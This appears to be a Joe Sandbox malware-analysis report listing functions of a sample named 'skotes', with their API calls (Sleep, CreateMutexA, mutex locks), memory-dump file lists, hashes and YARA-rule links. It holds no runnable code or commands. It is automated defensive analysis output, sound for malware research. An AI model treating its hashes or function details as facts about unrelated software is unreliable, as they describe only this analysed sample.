Instruction Fuzzy Hash: 203126317042449BFB08AB78DCC9BADBBE2DB85310F24829AE018DB2E5D7759980C752

Function 00B89ADC Relevance: 3.1, APIs: 2, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00B8A963
CreateMutexA.KERNELBASE(00000000,00000000,00BE3254), ref: 00B8A981

Memory Dump Source

Source File: 00000002.00000002.2101951390.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000002.00000002.2101911667.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2101951390.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102121116.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102213733.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102246593.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102269008.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102302681.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102603312.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102640738.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102831176.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103021393.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103264295.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103264295.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103649520.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103795256.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103983773.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2104179336.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2104311990.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2104353471.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2104527218.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2104787104.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2105212900.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2105257860.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2105293102.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2105328390.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2105357270.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2105390169.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107308936.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107344991.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107389054.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107457807.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107497702.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107531950.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107604591.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107638575.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107686925.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107746037.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107806442.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107878900.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108384992.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108429181.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108429181.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108573451.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108710894.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108790475.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108824896.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108860179.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108891661.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108920149.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: e7e1b0b7bb6c18bb032ca5a9d90f3bb8d74a37cc99f1ab56da1d3733c11e376a
Instruction ID: 09cabfa0c1822dd3c4d4517697cd9b1bc1011c8a52222840a938d5166fc4a094
Opcode Fuzzy Hash: e7e1b0b7bb6c18bb032ca5a9d90f3bb8d74a37cc99f1ab56da1d3733c11e376a
Instruction Fuzzy Hash: F421F5317042449BEB18AB68ECC9B6CB7E2EBD1310F2442AEE418D72E5DB759980C712

Function 00B8A856 Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00B8A963
CreateMutexA.KERNELBASE(00000000,00000000,00BE3254), ref: 00B8A981

Memory Dump Source

Source File: 00000002.00000002.2101951390.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000002.00000002.2101911667.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2101951390.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102121116.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102213733.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102246593.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102269008.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102302681.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102603312.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102640738.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102831176.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103021393.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103264295.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103264295.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103649520.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103795256.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103983773.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2104179336.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2104311990.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2104353471.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2104527218.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2104787104.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2105212900.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2105257860.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2105293102.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2105328390.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2105357270.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2105390169.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107308936.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107344991.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107389054.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107457807.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107497702.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107531950.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107604591.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107638575.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107686925.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107746037.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107806442.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107878900.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108384992.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108429181.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108429181.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108573451.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108710894.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108790475.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108824896.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108860179.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108891661.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108920149.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: ac87cdaa8aaec2516d86b47584bf035554466f7c26abac6e39bb19dcbf7e637c
Instruction ID: 69ceba0681560d54d82a309ac5a0a8e84574aa6a0aa33cc3cb828289722f2744
Opcode Fuzzy Hash: ac87cdaa8aaec2516d86b47584bf035554466f7c26abac6e39bb19dcbf7e637c
Instruction Fuzzy Hash: C22108712492019BFB2877A9989AB7DB7D1DB81700F2404EBE148D72F1DE659981C363

Function 00B8A34F Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00B8A963
CreateMutexA.KERNELBASE(00000000,00000000,00BE3254), ref: 00B8A981

Memory Dump Source

Source File: 00000002.00000002.2101951390.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000002.00000002.2101911667.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2101951390.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102121116.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102213733.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102246593.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102269008.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102302681.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102603312.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102640738.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102831176.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103021393.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103264295.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103264295.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103649520.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103795256.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103983773.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2104179336.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2104311990.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2104353471.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2104527218.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2104787104.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2105212900.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2105257860.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2105293102.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2105328390.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2105357270.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2105390169.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107308936.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107344991.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107389054.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107457807.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107497702.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107531950.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107604591.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107638575.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107686925.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107746037.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107806442.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107878900.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108384992.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108429181.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108429181.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108573451.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108710894.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108790475.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108824896.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108860179.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108891661.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108920149.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: ea06155b04e4fed2ed086c9f99e4a5cea7f12b5d5a5c6a12015bbcbcc6bf91ca
Instruction ID: 3bf09a94871c8909791aa98c8c8f6a06a68d7a36f34bdc1fb87dcbf8ef303706
Opcode Fuzzy Hash: ea06155b04e4fed2ed086c9f99e4a5cea7f12b5d5a5c6a12015bbcbcc6bf91ca
Instruction Fuzzy Hash: 4D21F5317042449BFB18AB68DC89B6CB7E2DBD5310F2442AEE418D76E4DB75A980C752

Non-executed Functions

Function 00B82EC0 Relevance: 7.8, APIs: 5, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00B82F5F
__Mtx_unlock.LIBCPMT ref: 00B82FCC
__Cnd_broadcast.LIBCPMT ref: 00B82FE3
__Mtx_unlock.LIBCPMT ref: 00B830F5
__Mtx_unlock.LIBCPMT ref: 00B8319B

Memory Dump Source

Source File: 00000002.00000002.2101951390.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000002.00000002.2101911667.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2101951390.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102121116.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102213733.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102246593.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102269008.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102302681.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102603312.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102640738.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102831176.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103021393.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103264295.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103264295.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103649520.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103795256.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103983773.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2104179336.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2104311990.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2104353471.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2104527218.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2104787104.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2105212900.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2105257860.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2105293102.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2105328390.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2105357270.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2105390169.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107308936.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107344991.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107389054.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107457807.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107497702.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107531950.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107604591.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107638575.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107686925.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107746037.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107806442.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107878900.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108384992.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108429181.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108429181.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108573451.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108710894.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108790475.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108824896.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108860179.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108891661.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108920149.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcast
String ID:
API String ID: 32384418-0
Opcode ID: ba02cf42efdb50bba720da3dcc3c5198f820d3355a3b35de5daa03d6310dce39
Instruction ID: 479942cec0709f1bc4d82de2cc2f664afcf6444646442ed74ecc6295583c01ea
Opcode Fuzzy Hash: ba02cf42efdb50bba720da3dcc3c5198f820d3355a3b35de5daa03d6310dce39
Instruction Fuzzy Hash: 9EA1C1B0A052059FDF11EF65C948B5ABBF8FF15B10F0481BAE815D72A1EB35EA04CB91

Function 00BBCBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00BBCC66

Memory Dump Source

Source File: 00000002.00000002.2101951390.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000002.00000002.2101911667.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2101951390.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102121116.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102213733.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102246593.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102269008.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102302681.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102603312.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102640738.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102831176.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103021393.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103264295.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103264295.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103649520.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103795256.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103983773.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2104179336.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2104311990.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2104353471.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2104527218.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2104787104.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2105212900.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2105257860.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2105293102.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2105328390.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2105357270.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2105390169.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107308936.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107344991.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107389054.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107457807.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107497702.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107531950.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107604591.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107638575.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107686925.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107746037.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107806442.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107878900.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108384992.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108429181.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108429181.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108573451.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108710894.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108790475.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108824896.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108860179.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
